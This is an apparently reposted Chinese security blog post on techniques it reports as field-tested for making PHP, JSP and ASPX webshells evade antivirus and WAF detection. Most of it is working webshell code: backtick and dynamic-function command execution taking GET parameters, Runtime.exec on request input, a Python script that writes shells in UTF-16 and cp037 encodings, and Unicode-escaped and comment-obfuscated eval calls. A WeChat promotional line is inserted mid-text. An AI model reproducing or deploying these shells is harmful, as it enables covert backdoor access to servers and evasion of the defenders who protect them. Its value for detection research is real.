其他
几种实战成功过的webshell的免杀方式
作者:Icepaper
原文地址:https://xz.aliyun.com/t/10937
php的免杀
一、利用在高版本php语法不换行来执行命令
<?=
$a=<<< aa
assasssasssasssasssasssasssasssasssasssasssassss
aa;echo `whoami`
?>
5.2版本报错
5.3报错
5.4版本报错
7.3.4成功执行命令
3、利用\特殊符号来引起报错
<?php
\echo `whoami`;?>
5.3执行命令失败
7.3执行命令失败
5.2成功执行
3、十六进制字符串
<?php
$s=substr("aabbccsystem","0x6");
$s(whoami)
?>
7.3 命令执行失败
5.2 命令执行失败
5.3 命令执行成功
7.0版本的??特性,如果版本为5.x的话就会报错,可以结合一些其他的方式吧
<?php
$a = $_GET['function'] ?? 'whoami';
$b = $_GET['cmd'] ?? 'whoami';
$a(null.(null.$b));
jsp免杀
0、小小Tips
1、jspx CDATA特性
格式:<![CDATA[xxxxxxxxxxxxxxxxxxx]]>
例如
String cmd = request.getPar<![CDATA[ameter]]>("shell");
此时ameter依旧会与getPar拼接成为getParameter
2、实体化编码
if (cmd !=null){
Process child = Runtime.getRuntime().exec(cmd);
InputStream in = child.getInputStream();
3、利用java支持其他编码格式来进行绕过
#python2
charset = "utf-8"
data = '''<%Runtime.getRuntime().exec(request.getParameter("i"));%>'''.format(charset=charset)
f16be = open('utf-16be.jsp','wb')
f16be.write('<%@ page contentType="charset=utf-16be" %>')
f16be.write(data.encode('utf-16be'))
f16le = open('utf-16le.jsp','wb')
f16le.write('<jsp:directive.page contentType="charset=utf-16le"/>')
f16le.write(data.encode('utf-16le'))
fcp037 = open('cp037.jsp','wb')
fcp037.write(data.encode('cp037'))
fcp037.write('<%@ page contentType="charset=cp037"/>')
aspx的免杀
2、空字符串连接
3、<%%>截断
3、头部替换
5、特殊符号@
6、注释
1、unicode编码
\u0065\u0076\u0061\u006c
ipt"%><%\u0065\u0076\u0061\u006c(@Request.Item["pass"],"unsafe");%>
而在c#的情况下,是可以支持的
2、空字符串连接
微信搜索公众号:Linux技术迷,回复:linux 领取资料 。
\u200c
\u200d
\u200e
\u200f
3、使用<%%>语法
Language=JS%><%eval%><%(Request.%><%Item["pass"],"unsafe");%>
4、头部免杀
针对该字段进行免杀%@Language=CSHARP% 很久之前修改为这样就过了
<%@ Page Language="Jscript"%>------》<%@Page Language=JS%>
也可以将该字段放在后面,不一定要放前面等
5、使用符号
(Context.Session["payload"] == null)
(@Context.@Session["payload"] == null)
6、注释可以随意插入
<%/*qi*/Session./*qi*/Add(@"k"/*qi*/,/*qi*/"e45e329feb5d925b"/*qi*/)
声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权!
注:如有侵权请联系删除
END